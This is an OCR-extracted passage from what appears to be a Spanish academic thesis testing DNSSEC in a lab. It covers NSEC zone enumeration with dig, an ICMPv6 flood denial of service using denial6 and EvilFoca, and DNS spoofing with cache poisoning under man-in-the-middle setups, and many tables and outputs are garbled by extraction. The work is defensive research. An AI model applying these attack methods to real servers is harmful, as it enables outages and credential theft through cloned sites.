Now performing 2280 test(s)...

Subnets found (may want to probe here using nmap or unicornscan):

Done with Fierce scan: http://ha.ckers.org/fierce/
Found © entries.

Have a nice day.
Figura 5.6 Resultado Denegando Transferencia de zona

Enumeracion de Dominios por consultas incorrectas

Se realizaron PoC para evaluar la seguridad proporcionada por DNSSEC con
NSEC o NSEC3, en las diferentes plataformas para comprobar la vulnerabilidad
de NSEC gque permite enumerar el contenido de una zona, a partir de la
consulta de nombres de dominio que no existen. Los resultados fueron los
siguientes:

SISTEMA DNssec  OWINO  SERVIDORES  EXITO
OPERATIVO  NSEC/NSEC3 ~ INTERNO- AUTORITARIOS  PoC

CENTOS bancodk.com
DEBIAN INTERNO bancodk.com
WINDOWS NSEC bancodk.com
CENTOS com.
EXTERNO
DEBIAN com.
CENTOS bancodk.com NO
DEBIAN INTERNO bancodk.com NO
WINDOWS NSEC3 bancodk.com NO
CENTOS com. NO
EXTERNO
DEBIAN com. NO

Tabla 5.14 Resultados Enumeracién de Dominio por Consultas Incorrectas
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Se observa que en los diferentes sistemas operativos, cuando se implement6 en
DNSSEC con NSEC en los servidores autoritarios del dominio interno
(bancodk.com) y externo (com.), las pruebas fueron exitosas. En cambio cuando
se implementé DNSSEC con NSECS3, las pruebas fueron NO exitosas.

Para las PoC de Enumeracion de dominios por consultas incorrectas, se utilizé la
herramienta: dig.

En la Figura 5.7 por las autoras, se presenta un ejemplo cuando se realiz6 una
consulta incorrecta c.com, para enumerar los dominios del servidor autoritario
a.gtld-servers.net.com. configurado con DNSSEC NSEC.

RED INTERNA RED EXTERNA

CADENA DE CONFIANZA
DNSSEC FIRMADA

2001:12:7000::CAFE:0112

Servidor DNS Raiz
f.root-servers.net

BEBE:32

d ) Servidor Autoritario
com ? Ll com
< 5 A.gtld-
T < servers.net.com.

ATACANTE NXDOMAIN c.com NXDOMAIN c.com

N o bancodk.com BECA:32

T anco at-c‘)“" ROUTER DEl comunicate.com

CAFE:37 comunicate.com FRONTERA

Servidor Autorit ario
comunicate.com

BACA:32

Servidor Web
www.comunicate.com
BACA:3

Figura 5.7 Ejemplo PoC de Enumeracion de Dominios por consultas incorrectas

Con la herramienta dig, se obtuvo una respuesta de tipo NXDOMAIN indicando
que el dominio c.com no existia, junto con los registros NSEC que apuntaban al
siguiente dominio valido en la zona: bancodk.com y comunicate.com, como se
observa en la Figura 5.8 por las autoras:
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:~# d1g AAAA NSEC c.com +dnssec

g, ~ex T type upLiun

; <<>> DiG 9.11.2-5-Debian <<>> AAAA NSEC c.com +dnssec
i+ global options: +cmd
Got _answer:
->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 14766
flags: qr rd ra ad; QUERY: 1, ANSWER: ©, AUTHORITY: 6, ADDITIONAL: 1

; OPT PSEUDOSECTION:

EDNS: version: 0, flags: do; udp: 4096

; QUESTION SECTION:
;c.com. IN NSEC

;3 AUTHORITY SECTION:
com. 10800 IN SOA a.gtld-servers.net.com. admin.com. 201804171 86400 3600 604800 10860

com. 10800 IN RRSIG SOA 7 1 864000 20180707200904 20186607200964 39398 com. BzQrvYxwgxTl
xtxSas06JFHpvhx614kkqR/BuXYXXlaruENLHt3//PGY gtS3VAGrt8Gqz9ef2vsllelopthbFAtCFDNBNRjzgJcdjNQ6ovONImSH tI5sbVF8M3S1Y9
PZMSTLGtEY/6Gn+uKh4Um1BoPpXt1lsrmVPQWS4yGM2 111I=

com. 10800 IN RRSIG NSEC 7 1 10800 20180707200904 20180607200964 39398 com. dn48gquuhzBq
9GWbiQHWPELVXZ1/HhYH21UjVXF4XrR5SPiW6nFFthUhZ hIhOIS5T/K8sFMo/CoubgSn76z6V2INR99A9p1Y7EWiRriQy9o7kRFgj w8p/k80BOymrnL
ad7ExnL.Cc2/h4T2M/PUVSMBWT x3+AK4vvIOUIPKO2P Pms=

com. 10800 IN NSEC bancodk.com. NS SOA AAAA RRSIG NSEC DNSKEY

bancodk.com. 10800 IN RRSIG NSEC q/aCzZ6CtlipcC
DV8b/14ImrMm7HFRYnS6Sy6xiaQR7 r+Ind6QSebA+ai6 IkOMsWqZ7d9ve4aKlebglqgfRte6PILZFOrDWt2GFGXrZyak/DKt7sKX Q2kb2CMSGIDgh8
7M/pTmAvsoav2PNGY31wXf00reUiZDInZn04kVaivs 0CY=

bancodk.com. 10800 IN NSEC comunicate.com. NS DS RRSIG NSEC

; Query time: 108 msec

; SERVER: 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35)
; WHEN: Tue Jul 03 20:02:26 EDT 2018

; MSG SIZE rcvd: 654

Figura 5.8 Resultado PoC Consultas Incorrecta al Servidor .com DNSSEC NSEC

En cambio cuando se realiz6 la misma consulta incorrecta al servidor autoritario
del dominio .com, configurado con DNSSEC NSEC3, se obtuvieron los hash de
los nombres de dominio validos en esa zona. Debido a que NSEC3 construye una
cadena de registros de recursos de hash y no de texto plano, evitando la
enumeracion de zona, como se observa en la Figura 5.9 por las autoras:

# dig AAAA NSEC3PARAM c.com +dnssec
;+ Warning, extra type option

>> D16 9.11.2-5-Debian <<>> AAAA NSEC3PARAM c.com +dnssec
global options: +cmd

Got answer:

->>HEADE - opcode: QUERY, status: NXDOMAIN, id: 1253

flags: qr rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 6, ADDITIONAL: 1

OPT PSEUDOSECTION:
EDNS: version: 0, fl: do; udp: 4096

AUESTION SECTIONM.

;c.com. IN NSEC3PARAM

; + AUTHORITY SECTION:
10800 IN SOA a.gtld-servers.net.com. admin.com. 201804171 86400 3600 604800 10800

. 160800 IN RRSIG SOA 7 1 864000 20180803002649 20180704002649 39398 com. 062PBZKZTsRg97
eTmiBNaGBAbqlcrzr9Y/DsuoQodxnvmTXX3/pS1Ipm HRSLLwd4KuxqvMOblrfIePo3B206r10StUpaSIN/ jbGCiboqyNnEOSK7 r+r8vWwM87yueSSisF
Q1Z/b924uhGThb) /WwQIh7MPiSYPYKVHY91RD7Y IxE=
4UM914C0SITQTGV7RPEGBVOKI9RPOINS .com. 10800 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 39398 com. NimwlLQkV
j701MTeZaxOwlLNd fLiRadyMUXBOSIVICRciqq39S1imlyDmIC 14XBVxkMw3iEojolZZfvgmxfClj81lMjvhxjCwhhgKmpoXwqlTgOmOCGV 1ZyjLnfQjgev
UTVS] aunShhnmShanXAevywGN 1GRGOC k] 76 i vmwnYPAR  XRw=
4UM914COSITQTGV7RPEGBVOK99RPOINS . com. 10800 IN NSEC3 1 1 20 2001050303F2BECA 71SR4PSLKKTNQK277AQU8924PJI8B94R4 NS DS R
RSIG
0JSCQF83I562L6HI7UIVON3SRUTLSVN3.com. 10800 IN RRSIG NSEC3 7 2 10800 20180803002649 20180704002649 39398 com. nuRn90us
bRNIfncOWUNBXql3TEH2VSPad1g3NvBCRhKTiCDTCx5+q)3s (Q2wD+CeHrd+SpngkbWxDZ9X66EI r9EI9EMZaCRS  XMLD6XKUNOIBEY 0dy9XLGVKNhV
lazvK4MnA2nATGIGXx9200 rJOViMrbpitFOzmZxaBH X04=
0JSCQFB83I562L6HI7UIVON3SRUTLSVN3.com. 10800 IN NSEC3 1 1 20 2001050303F2BECA PQS3MOCVOIFJI371SG94HVIMV17IGEGSO NS SOA
AAAA RRSIG DNSKEY NSEC3PARAM

Query time: 122 msec
SERVER: 2001:12:7000 e:35#53(2001:12:7000: :cafe:35)
WHEN: Tue Jul 03 21: 5 EDT 2018

; MSG SIZE rcvd: 759

Figura 5.9 Resultado PoC Consultas Incorrecta al Servidor .com DNSSEC NSEC3.
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Denegacion de Servicio

Se realizaron PoC de DoS Denegacion de Servicio sobre el escenario de pruebas
controlado, cuando el sistema de servidores DNS es Windows-Centos (red interna
Windows — red externa Centos), en diferentes casos, cuando se tiene
implementado DNSSEC NSEC3, como se muestra en la siguiente tabla.

PoC

SERVIDOR
INTERNO/EXTERNO SERVIDOR AUTORITARIO HERRAMIENTAS EXITOSA

dnsl.bancodk.com. DENIALG6/

INTERNO

EXTERNO dnsl.comunicate.com. EVIL FOCA

Tabla 5.15 Resultados de Denegacién de servicio

En la Tabla 5.15, se observa que todas las pruebas de DoS sobre los servidores
autoritarios de la red interna y externa: dnsl.bancodk.com (Windows)
y dnsl.comunicate.com (Linux), fueron exitosas. Para la ejecucién de la prueba se
utilizaron las herramientas: denial 6 y EvilFoca.

Por ejemplo, en la Figura 5.10, se muestra cuando se realizé la PoC de
denegacion de servicio al servidor autoritario dnsl.comunicate.com:

RED INTERNA RED EXTERNA

2001:12:7000::CAFE:0/112 CADENA DE CONFIANZA
| DNSSEC FIRMADA

% |

| | Servidor DNS Raiz
MITM f.root-servers.net
ATACANTE
CAFE:37 BEBE:32
Servidor Autoritario
.com
A.gtld-
servers.net.com.
BECA:32
s
N
X CAFE:S : 5 Servidor Autoritario
0 comunicate.com
ROUTER DE| N
FRONTERA BACA:32
@ | S Servidor Web
6 § | o www.comunicate.com
NS

CAFE:15 | BECA:3

Figura 5.10 Ejemplo PoC de Denegacion de servicio
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Con la herramienta denial6, se especifico la interfaz ethO utilizada por el atacante y
la direccion IPv6 del servidor autoritario 2800:3F0:4005:403::BACA:32, para
realizar la PoC, como se muestra en la Figura 5.11:

hown for e ets se € Control-C to end...
hop-by-hop - rt option plus 179 hea plus ping.

WARNING: this a < e ] on the network path to the target!!

Figura5.11 Ejemplo PoC de Denegacion de servicio

Se lanzé 844 peticiones ICMPv6 por milisegundo al objetivo para desbordarlo,
como se muestra en la Figura 5.12:

z
a
El
a

Source Destination Pratocol Length  Info

10.000 2001:12:7000::cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
2 0.000 2001:12:7000: :cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
3 0.000 2001:12:7000::cafe:37 2800:3f0:4005:403: :baca:32 ICMPv6 1494 Echo (ping) request
40.000 2001:12:7000::cafe:37 2800:3f0:4005:403::baca:32 ICMPV6 1494 Echo (ping) request
50.0002001:12:7000::cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
6 0.000 2001:12:7000::cafe:37 2800:3fT0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
7 0.000 2001:12:7000::cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
8 0.000 2001:12:7000: :cafe:37 2800:31T0:4005:403: :baca:32 IcMPv6 1494 Echo (ping) request
9 0.000 2001:12:7000::cafe:37 2800:3T0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
10 0.001 2001:12:7000::cafe:37 2800:3f0:4005:403: :baca:32 ICMPv6 1494 Echo (ping) request
11 0.001 2001:12:7000: :cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
12 0.001 2001:12:7000::cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
13 0.001 2001:12:7000: :cafe:37 2800:3f0:4005:403: :baca:32 ICMPv6 1494 Echo (ping) request

14 0.001 2001:12:7000: :cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
15 0.001 2001:12:7000: :cafe:37 2800:3f0:4005:403::baca:32 ICcMPv6 1494 Echo (ping) request
16 0.001 2001:12:7000::cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
17 0.001 2001:12:7000: :cafe:37 2800:3f0:4005:403: :baca:32 ICMPv6 1494 Echo (ping) request
18 0.002 2001:12:7000: :cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
19 0.002 2001:12:7000: :cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (ping) request
20 0.002 2001:12:7000: :cafe:37 2800:3f0:4005:403::baca:32 IcMPv6 1494 Echo (ping) request
21 0.002 2001:12:7000::cafe:37 2800:3f0:4005:403::baca:32 ICMPv6 1494 Echo (pina) reduest

Figura 5.12 Ejemplo PoC de Denegacion de servicio

De modo que cuando un cliente realiz6 la consulta a www.comunicate.com, se
recibi6 como respuesta un SERVFAIL, como se observa en la Figura 5.13:

root@cliente-VirtualBox:~# dig aaaa www.comunicate.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> aaaa www.comunicate.com
;5 global options: +cmd
Got answer:
->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 44636
flags: qr rd ra; QUERY: 1, ANSWER: O, AUTHORITY: O, ADDITIONAL: 1

OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4000
55 QUESTION SECTION:
;www.comunicate.conm. IN AAAA

55 Query time: 2599 msec

;3 SERVER: 2001:12:7000::cafe:35#53(2001:12:7000::cafe:35)
55 WHEN: Tue Aug 07 18:55:11 -05 2018

;33 MSG SIZE rcvd: 47

Figura 5.13 Ejemplo PoC de Denegacion de servicio
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DNS Spoofing

A continuacion se muestran los resultados obtenidos y el analisis de las PoC de
DNS Spoofing realizadas en el escenario real de pruebas controlado, cuando toda
la Cadena de Confianza DNSSEC esta Firmada y cuando esta Rota, para
posteriormente realizar un analisis comparativo de los resultados obtenidos en
ambos casos y finalmente evaluar la criticidad de las vulnerabilidades para los
casos en que las pruebas fueron exitosas.

Las PoC de DNS Spoofing se llevaron a cabo tanto en la red interna de la red
CAFE de la organizacion bancodk, como en la red externa del escenario real de
pruebas controlado, mediante pruebas de MITM en distintos casos, para los
diferentes dominios probados en funcién de los validadores (servidor cache y/o
cliente), cuando toda la cadena DNSSEC esta Firmada y cuando esta Rota.

Para los diferentes casos, se determiné suplantar la respuesta del servidor DNS
autoritario de los diferentes dominios segun su estado dentro de la cadena, por la
direccién IPv6 del (atacante o pentester) Kali, con el propésito de envenenar la
memoria caché de los Validadores con soporte DNSSEC, insertando un registro
DNS falso en la Base de Datos en la Tabla. Para que de esta manera, en lugar de
dirigir al usuario o usuarios al sitio web legitimo, las victimas fueran direccionadas
al sitio web falso clonado por el atacante, cuando realicen una consulta a dicho
dominio.

Al efectuar las pruebas se determind si el Servidor caché y/o el Cliente con
soporte de validacion DNSSEC, fue o no fueron vulnerables al envenenamiento de
la memoria caché, sivalidaron o no validaron la autenticidad de la respuesta DNS
sobre quien es el Servidor Autoritario legitimo al que pertenece dicho dominio,
cuando el cliente realiz6 una consulta a ese sitio, de esta manera se evaluo si la
prueba fue exitosa o no.

En las siguientes tablas se muestran los resultados obtenidos de las pruebas de
concepto de DNS Spoofing realizadas en el escenario real de pruebas controlado
DNSSEC, cuando toda la Cadena de Confianza esta Firmada y cuando la
Cadena de Confianza esta Rota.
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5.2.3 Andlisis de los resultados obtenidos con toda la Cadena de Confianza
DNSSEC Firmada

A continuacion se presentan los resultados y el andlisis de las PoC de DNS
Spoofing obtenidas en funcion de los validadores, para los diferentes dominios
probados cuando la cadena de confianza DNSSEC esta Firmada:

pruebas
realizadas

SUPLANTACION | ENVENENAMIENTO | VALIDACION |VALIDACION| POC
DE DOMINIO

DOMINIO ESTADO

VALIDADORES

1

CLIENTE -CACHE

CACHE

SN R I N

NO

CLIENTE -CACHE

Lo | o | v s

NO

CLIENTE -CACHE

NO

oo |~|o|a|s]|w|N

10

11

CLIENTE -CACHE

I TN T TR

12

13

14 NO

15
16
17
18

19

20 NO
21

22

23 CACHE

I T T BT

24

25

27

28

- o | e [ s | s
30

31

CACHE

E I T R BT
33 NO

35 NO

36

CLIENTE -CACHE
CLIENTE -CACHE

T R T AT

37

38 CACHE

39

40

a1

42
43

44

NF

Tabla 5.16 Resultados de DNS Spoofing con toda la Cadena de Confianza DNSSEC Firmada
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Andlisis de las PoC DNS Spoofing para los Dominios Firmados
www.comunicate.com y www.bancodk.com cuando la Cadena esta Firmada

En la Figura 5.14 por las autoras, se muestra las PoC de DNS Spoofing exitosas
obtenidas por validador (cache, cliente o cliente y cache), para los dominios
firmados www.comunicate.com y www.bancodk.com cuando la cadena esta

firmada.
PoC exitosas por validador para los dominios firmados
cuando la cadena esta firmada

2 47
2 Validadores
S
= 39 = CACHE
@ mCLIENTE
< 2 1 m CLIEN TE-CACHE
Z
(=9
@ 11
=]
= ]

www.comunicate.com www.bancodk.com

Dominios Firmados

Figura 5.14 Resultados PoC exitosas Dominios Firmados Cadena DNSSEC Firmada

e Se observa que tanto para el dominio de la red externa
www.comunicate.com, como de la red interna www.bancodk.com, las
pruebas solo son exitosas cuando el servidor caché realiza el proceso de
validacién DNSSEC, mientras que para ambos dominios, en los casos en
gue el cliente realiza el proceso de validacibn DNSSEC (cliente y cliente-
cache), las pruebas No son exitosas.

A continuacién se presenta el andlisis de los resultados reflejados en las tablas
tanto para el dominio externo www.comunicate.com como para el dominio
interno www.bancodk.com:

SUPLANTACION | ENVENENAMIENTO | VALIDACION [VALIDACION| POC

PEIND ESEARO TRt VALRPEIRE DE DOMINIO DE CACHE CACHE CLIENTE |EXITOSA

www.bancodk.com CLIENTE -CACHE

www.transacciones.bancodk.com

CLIETNE-WEB BANCO Sl NO Sl NO

Tabla 5.17 PoC DNS Spoofing exitosas Dominios Firmados - Cadena DNSSEC Firmada
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e EnlaTabla5.17, se puede apreciar que para los diferentes casos de MITM
tanto del dominio interno www.bancodk.com, como del dominio externo
www.comunicate.com, las pruebas de DNS Spoofing solo son exitosas
cuando el proceso de validacion es realizado Unicamente por el servidor
caché, lo cual conlleva a que el cliente sea vulnerable debido a que
recibe primero la respuesta suplantada del servidor DNS autoritario de
los dominios que consulta, por la direccion IPv6 del atacante, mientras que
el servidor caché validador continta realizando el proceso de validacion de
la consulta DNSSEC de los dominios firmados, de modo que no se ve
afectado por el envenenamiento de su memoria caché, entregando tarde la
respuesta validada de la consulta al cliente.

DOMINIO VALIDADORES

CLIENTE -CACHE

CLIENTE-CACHE | CLIENTECACHE [ N0 | N0 [ s | s |

CLIENTE -CACHE N | N | N | s |
www.transacciones.hancodk.com CLIETNE-WEB BANCO
| N0 [ N0 |
CLIENTE CACHE | \ohee cace

CLIETNE-WEB BANCO

www.bancodk.com

Tabla 5.18 PoC DNS Spoofing No exitosas Dominios Firmados - Cadena DNSSEC Firmada

En la Tabla 5.18 se observa que en los casos en el que el cliente participa del
proceso de validacion (cliente y cliente-cache), cuando toda la cadena de
confianza DNSSEC esta firmada tanto en la red interna como externa, para los
diferentes casos de MITM del dominio interno www.bancodk.com, y del
dominio externo www.comunicate.com, las pruebas de DNS Spoofing son No
exitosas, debido a que los validadores tienen almacenadas las claves de
confianza del dominio interno de la organizacion bancodk.com como del servidor
raiz, las cuales son necesarias para validar el nombre de dominio interno y externo
de la delegacién segura de la red interna, como de la cadena de confianza
DNSSEC de la red externa, validando la autenticidad e integridad de las
respuestas a las consultas realizadas, de modo que ninguno de los dos
validadores se deja envenenar.
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Andlisis de las PoC DNS Spoofing para los Dominios Inexistentes como
variaciones de comunicate.com y bancodk.com cuando la Cadena esta
Firmada

Las pruebas de DNS Spoof para los dominios inexistentes en funcion de los
validadores, se realizaron con el propésito de determinar en qué casos DNSSEC
es vulnerable, cuando un cliente intenta conectarse a un dominio de una
organizacion como bancodk.com o de una red social como comunicate.com, pero
que errébneamente al ingresar al navegador, escribe los dominios inexistentes
como baancodk.com o0 coomunicate.com, de manera que alguien con
intenciones maliciosas suplanta los dominio inexistentes, redireccionando a la
victima a estos sitios falsos, haciéndole creer que el sitio al cual se conecta,
pertenece a un dominio que si existe, pero que realmente ha sido clonado el sitio
del dominio autentico por el atacante para robarle las credenciales.

A continuacién se muestra las PoC de DNS Spoofing exitosas obtenidas por
validador, para los dominios inexistentes coomunicate.com y baancodk.com
cuando la cadena DNSSEC esté Firmada:

PoC exitosas por validador para los dominios
inexistentes cuando la cadena esta firmada

g 3]
g Validadores
S
= = CACHE
) 2
@ mCLIENTE
< = CLIEN TE-CACHE
= J
s 1
@
©
= 0

coomunicate.com baancodk.com

Dominios Inexistentes

Figura 5.15 Resultados PoC exitosas Dominios Inexistentes Cadena Firmada

En la Figura 5.15 por las autoras, se puede apreciar que el resultado de las PoC
de DNS Spoofing exitosas por validador para los dominios inexistentes son
similares, ya que para ambos dominios todas las pruebas son exitosas cuando el
servidor cache valida, mientras que en los casos en que el cliente realiza el
proceso de validacion DNSSEC (cliente y cliente-cache), las pruebas son No

exitosas.
100



En este caso, se presenta el mismo comportamiento de las PoC exitosas en los
dominios firmados porque:

SUPLANTACION | ENVENENAMIENTO | VALIDACION | VALIDACION| POC

DOMINIO ESTADO VALIDADORES

CACHE

CLIENTE -CACHE

. CLIENTE -CACHE

Tabla 5.19 Resultados PoC DNS Spoofing exitosas Dominios Inexistentes Cadena Rota

e La validacion es realizada unicamente por el servidor cache, el cliente es
vulnerable a recibir primero una respuesta falsa desde el atacante, antes
de que llegue la respuesta verdadera desde el Servidor Caché validador
quien se tarda en realizar todo el proceso de autenticacion del dominio
inexistente, ademas, este no se ve afectado por el envenenamiento de su
memoria caché, para las diferentes pruebas de MITM para dominios
inexistentes.

DOMINIO ESTADO MITM VALIDADORES SUPLANTACION | ENVENENAMIENTO | VALIDACION |VALIDACION| POC

CLIENTE -CACHE

CLIENTE-CACHE | CLIENTECACHE | N0 | N0 [ s [ s |

N | N[ No | s |

CLIENTE -CACHE CLIENTE-CACHE NO NO S| S| NO

baancodk.com

Tabla 5.20 Resultados PoC DNS Spoofing No exitosas Dominios Inexistentes Cadena Rota

Por otra parte, se aprecia en la tabla que en los casos en que el cliente realiza el
proceso de validacion DNSSEC (cliente y cliente-cache), y tiene almacenada el
ancla de confianza del dominio raiz, las pruebas son No exitosas, ya que para
todos los casos de MITM, cuando el cliente realiza una consulta a los dominios
inexistentes coomunicate.com y baancodk.com, tanto el cliente como el servidor
caché con soporte de validacion DNSSEC, no validan pero si reciben la
autenticacion de la respuesta de los dominios que no existen por medio del
registro NSEC3.
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Andlisis de las PoC DNS Spoofing para el Dominio No Firmado
www.networks.com cuando la cadena esta Firmada

PoC exitosas por validador para un dominio No
firmado cuando la cadena esta firmada

= CLIEN TE-CACHE

" 3

P

=] Validadores
=

>

s 5 | = CACHE
Q

s m CLIENTE
[++]

<

=

Dominio no Firmado
www. networks.com

Figura 5.16 Resultados PoC exitosas Dominio No firmado Cadena Firmada

e De igual forma, en la Figura 5.16 por las autoras, se observa que todas las
pruebas realizadas sobre el dominio networks.com son exitosas, sin
importar que el proceso de validacion sea realizado tanto por el servidor
caché DNS como por el cliente y que la cadena de confianza DNSSEC esta
firmada.

e Ademas, en los casos de MITM entre (Cache —Gateway y Cliente-Gateway)
en los que solo validada el cache o el cliente, se presenta envenenamiento de
la memoria cache de este, menos en los casos de (cliente-cache).

e Entodos los casos, no se realiza la validacion por parte del cliente de manera
gue todas las pruebas seran exitosas.

5.2.4 Anadlisis de los resultados obtenidos cuando la Cadena DNSSEC esta
Rota

A continuacion se presentan los resultados y el analisis de las PoC de DNS
Spoofing obtenidas en funcion de los validadores, para los diferentes dominios
probados cuando la cadena de confianza DNSSEC esta rota:
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N° de
pruebas
realizadas

SUPLANTACION | ENVENENAMIENTO | VALIDACION [VALIDACION| POC
DE DOMINIO DE CACHE

DOMINIO ESTADO VALIDADORES

CACHE
BT T

CACHE

CLIENTE -CACHE

CLIENTE -CACHE CACHE

13

14

15

17
18
20
24 CACHE
23

Tabla 5.21 Resultados de DNS Spoofing con la cadena de confianza rota

Andlisis de las PoC DNS Spoofing para los Dominios Firmados
www.comunicate.com y www.bancodk.com cuando la Cadena esta Rota

En la Figura 5.17 por las autoras, se muestra las PoC de DNS Spoofing exitosas
obtenidas por validador (cache, cliente o cliente y cache), para los dominios
firmados www.comunicate.com y www.bancodk.com cuando la cadena esta
rota.
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PoC exitosas por validador para los dominios firmados
cuando la cadena esta rota

3 -
2}
P Validadores
[=]
T 2 = CACHE
> ECLIENTE
§ = CLIEN TE-CACHE
2 1
o
[+}
-
Z o0
www.comunicate.com  www.bancodk.com
Dominios Firmados

Figura 5.17 Resultados PoC exitosas Dominios Firmados Cadena DNSSEC Rota

Se observa que hay una gran diferencia en el resultado de las PoC exitosas por
validador para los dominios firmados, ya que para el dominio de la red externa
www.comunicate.com, todas las pruebas son exitosas en los 3 validadores,
mientras que para el dominio de la red interna www.bancodk.com las pruebas
solo son exitosas cuando el servidor caché realiza el proceso de validacion
DNSSEC.

En el caso del dominio externo www.comunicate.com, este comportamiento se
debe a que:

SUPLANTACION | ENVENENAMIENTO | VALIDACION |VALIDACION | POC
DE DOMINIO DE CACHE CACHE CLIENTE |EXITOSA

F

DOMINIO ESTADO MITM VALIDADORES

Tabla 5.22 PoC DNS Spoofing exitosas Dominios www.comunicate.com Firmados Cadena
DNSSEC Rota

e A pesar de que el dominio comunicate.com este firmado, como la cadena de
confianza DNSSEC se encuentra rota, es decir que el dominio de nivel
superior (gTLD COM) no se encuentra firmado, este no tendra almacenado el

registro DS (recurso de Delegacion de Firma) del dominio comunicate.com,
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lo cual indica que no habrd una delegacién segura. De manera que sin
importar quien realice el proceso de validacion, cuando un cliente realice una
consulta al dominio www.comunicate.com, asi el validador tenga
almacenada el ancla de confianza del servidor raiz, tomard los datos que
reciba de la respuesta como inseguros y por lo tanto no validara la respuesta.

e Como consecuencia de lo expuesto anteriormente, al aplicar la prueba de
DNS Spoofing para los casos en que el MITM se realiza entre (Cache-
Gateway y Cliente-Gateway), las respuestas que llegan a la red interna por la
Gateway se ven alteradas por el atacante, y por lo tanto el Cliente como el
servidor caché con soporte de validacion DNSSEC almacenan en su tabla de
DNS la respuesta del registro DNS falso insertado por el atacante, ya que no
realizan la validaciébn de un dominio firmado cuando la cadena esté rota,
siendo vulnerable para este caso el estado de la cadena DNSSEC a la prueba
de DNS Spoofing, permitiendo robar con éxito las credenciales de los
usuarios conectandose al sitio web falso.

e Si la validacion es realizada Unicamente por el servidor caché, el cliente en
todos los casos de MITM presentados (Cache-Gateway, Cliente-cache,
Cliente-Gateway), es vulnerable a recibir como respuesta a su consulta, la
respuesta del atacante antes que la del servidor DNS caché real.
Especialmente en el caso donde el MITM (Cliente - servidor dns cache),
donde las consultas del cliente no llegan al servidor DNS caché real.

En cambio, en el caso del dominio interno www.bancodk.com, se presentan los
siguientes comportamientos:

SUPLANTACION | ENVENENAMIENTO | VALIDACION | VALIDACION

DOMINIO ESTADO VALIDADORES DE DOMINIO DE CACHE CLIENTE |EXITOSA

CLIENTE -CACHE GHE T s [ w_ | s [ N

www.bancodk.com

. F LIENTE
www ransacciones.bancodk.com CLIENTE -CACHE -Il_

CLIENTE -CACHE
Tabla 5.23. Resultados PoC Dominios www.bancodk.com Firmados Cadena DNSSEC Rota

e Las pruebas realizadas solo son exitosas cuando el proceso de validacion es
realizado unicamente por el servidor caché, por lo cual el cliente es vulnerable
a recibir como respuesta a su consulta, la respuesta del atacante antes que la
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del servidor DNS caché real en los casos probados de MITM (Cache-Bancodk
y Cliente-Cache). Sin embargo, en el caso en el que el servidor caché realiza la
validacion no se presenta envenenamiento de caché debido a que este tiene
almacenada el ancla de confianza del dominio interno bancodk.com, que es
suficiente para validar los dominios y subdominios internos de la organizacion
los cuales se encuentran asegurados con DNSSEC, sin importar que la cadena
de confianza de la red externa este rota.

e Por otra parte, en la grafica se observa que en los casos en el que el cliente
participa del proceso de validacion (cliente y cliente-cache), las pruebas
realizadas son No exitosas, debido a que los validadores tienen almacenada el
ancla de confianza del dominio bancodk.com, de manera que para los casos
anteriores, cuando el cliente validador realiza una consulta a los dominios o
subdominios internos de la delegacion segura de la organizacién, este valida la
autenticidad e integridad de la respuesta, y por lo tanto ninguno de los 2
validadores se envenena.

Andlisis de las PoC DNS Spoofing para los Dominios Inexistentes como
variaciones de comunicate.com y bancodk.com cuando la Cadena esta Rota

A continuacién se muestra las PoC de DNS Spoofing exitosas obtenidas por
validador, para los dominios inexistentes coomunicate.com y baancodk.com
cuando la cadena esté rota.

PoC exitosas por validador para los dominios
inexistentes cuando la cadena esta rota

3 —
h
o Validadores
[=]
= 2 | m CACHE
g mCLIENTE
= ECLIEN TE-CACHE
S 1
[« B
@
o
=z 0
coomunicate.com baancodk.com
Dominios inexistentes

Figura 5.18 Resultados PoC exitosas Dominios Inexistentes Cadena DNSSEC Rota
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En la Figura 5.18 por las autoras, se puede apreciar que el resultado de las PoC
de DNS Spoofing exitosas por validador para los dominios inexistentes son
similares, ya que en ambos dominios todas las pruebas son exitosas en los 3
validadores.

Este comportamiento se presenta en los diferentes casos porque:

Al ejecutar la prueba de DNS Spoofing para todos los casos de MITM, cuando
el cliente realiza una consulta a los dominios inexistentes coomunicate.com
y baancodk.com, tanto el cliente como el servidor caché con soporte de
validacion DNSSEC, no validan ni reciben la autenticacion de la respuesta de
los dominios que no existen por medio del registro NSEC3, a pesar de que
tengan almacenada el ancla de confianza del dominio raiz. Esto se debe a que
el estado de la cadena DNSSEC se encuentra rota, es decir que el dominio de
nivel superior (gTLD COM) no esta firmado, lo cual indica que el dominio padre
(raiz) no tiene almacenado el registro DS (recurso de Delegaciéon de Firma) del
dominio hijo de nivel superior com, conllevando a que no exista una delegacion
segura. Como resultado de esto, dependiendo del caso, los validadores
(cache, cliente, cliente-cache) son vulnerables al envenenamiento de sus
memorias caché, y por lo tanto terminaran reenviando la respuesta falsa al
cliente direccionandolo al sitio web falso.

En el caso en que la validacién es realizada Unicamente por el servidor cache,
el atacante suplanta al servidor DNS caché y responde al cliente con el registro
DNS falso principalmente en los casos de MITM entre (cliente — caché o cliente
— Gateway). En el caso de (caché — Gateway), suplanta al servidor caché o
suplanta a los niveles de la jerarquia de DNS, desde servidor autoritario del
dominio raiz, hasta el servidor del dominio com, con el propésito de
envenenar la memoria caché del servidor y que este reenvie la respuesta falsa
al cliente direccionandolo al sitio web falso.
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Andlisis de las PoC DNS Spoofing para el Dominio No Firmado
www.networks.com cuando la Cadena esta Rota

PoC exitosas por validador para un dominio No
